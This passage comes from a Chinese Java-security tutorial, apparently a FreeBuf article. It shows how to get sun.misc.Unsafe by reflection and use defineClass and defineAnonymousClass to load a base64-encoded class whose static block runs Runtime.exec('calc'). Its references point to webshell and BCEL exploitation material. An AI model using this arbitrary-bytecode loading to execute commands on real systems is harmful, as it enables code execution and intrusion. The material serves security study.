        System.out.println(unsafe); // sun.misc.Unsafe@4554617c
    }
}

以及:

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        Class<?> clazz = Class.forName("sun.misc.Unsafe");
        Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化, 所以这里无需创建 Unsafe 对象, 静态调用就可以得到.
        theUnsafe.setAccessible(true);
        Unsafe o = (Unsafe) theUnsafe.get(null);
        System.out.println(o); // sun.misc.Unsafe@74a14482
    }
}

Unsafe 类利用

我们可以通过反射得到 Unsafe 对象, 那么我们如何利用呢?

我们在Unsafe 类详解中图中已经看到了, 该类定义了三个native定义的方法, 这些方法都是由C/C++底层实现的, 如下:

public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6); // 可以加载字节码
public native Class<?> defineAnonymousClass(Class<?> var1, byte[] var2, Object[] var3); // 可以加载字节码
public native Object allocateInstance(Class<?> var1) throws InstantiationException; // 实例化任意类
defineClass 案例
public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
        Class<?> clazz = Class.forName("sun.misc.Unsafe");
        Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化,
        // 所以这里无需创建 Unsafe 对象, 静态调用就可以得到.
        theUnsafe.setAccessible(true);
        Unsafe o = (Unsafe) theUnsafe.get(null);
        System.out.println(o); // sun.misc.Unsafe@74a14482

        byte[] poc = new BASE64Decoder().decodeBuffer(
                "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMQ01EOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAIQ01ELmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAANDTUQBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAgADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAsACQAOAAwADAANAA0AFgAPAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=");

        /*
        该 Base64 值是如下类的字节码 Base64 后的值
        public class CMD {
            static {
                try {
                    Process exec = Runtime.getRuntime().exec("calc");
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            }
        } */

        Class<?> evilClazz = o.defineClass("CMD", poc, 0, poc.length, ClassLoader.getSystemClassLoader(),
                new ProtectionDomain(
                new CodeSource(null, (Certificate[]) null), null, ClassLoader.getSystemClassLoader(), null
        ));
        System.out.println(evilClazz); // class CMD
        evilClazz.newInstance();
    }
}

运行完毕后, 将弹出计算器.Java 11开始Unsafe类已经把defineClass方法移除了(defineAnonymousClass方法还在).

defineAnonymousClass 案例
public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
        Class<?> clazz = Class.forName("sun.misc.Unsafe");
        Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化,
        // 所以这里无需创建 Unsafe 对象, 静态调用就可以得到.
        theUnsafe.setAccessible(true);
        Unsafe o = (Unsafe) theUnsafe.get(null);
        System.out.println(o); // sun.misc.Unsafe@74a14482

        byte[] poc = new BASE64Decoder().decodeBuffer(
                "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMQ01EOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAIQ01ELmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAANDTUQBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAgADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAsACQAOAAwADAANAA0AFgAPAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=");

        /*
        该 Base64 值是如下类的字节码 Base64 后的值
        public class CMD {
            static {
                try {
                    Process exec = Runtime.getRuntime().exec("calc");
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            }
        } */
        Class<?> evilClazz = o.defineAnonymousClass(Class.class, poc, null);
        System.out.println(evilClazz); // class CMD/356573597
        evilClazz.newInstance();
    }
}

运行弹出计算器.

allocateInstance 案例

定义如下类:

public class Cat {
    private Cat(){}
}

测试程序:

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
        Class<?> clazz = Class.forName("sun.misc.Unsafe");
        Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化,
        // 所以这里无需创建 Unsafe 对象, 静态调用就可以得到.
        theUnsafe.setAccessible(true);
        Unsafe o = (Unsafe) theUnsafe.get(null);
        System.out.println(o); // sun.misc.Unsafe@74a14482
        Cat cat = (Cat) o.allocateInstance(Cat.class);
        System.out.println(cat); // com.heihu577.Cat@1540e19d
    }
}

最终可以实例化Cat类.

Reference

一看你就懂,超详细java中的ClassLoader详解: https://blog.csdn.net/briblue/article/details/54973413

看不懂, 请吃饭 (视频资源): https://www.bilibili.com/video/BV1Gh411v7fv

冰蝎 WebShell 管理工具分析: https://blog.csdn.net/Dokii_i/article/details/135621218

流量特征: https://www.cnblogs.com/-andrea/p/17473499.html

BCEL ClassLoader: https://www.cnblogs.com/CoLo/p/15869871.html

BCEL 调试: https://blog.csdn.net/xd_2021/article/details/121878806

BCEL CTF题目: https://www.jianshu.com/p/0e5e821f5c29

Z3专栏 | Java代码审计之类加载的利用: https://www.freebuf.com/articles/web/317624.html

# web安全 # JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录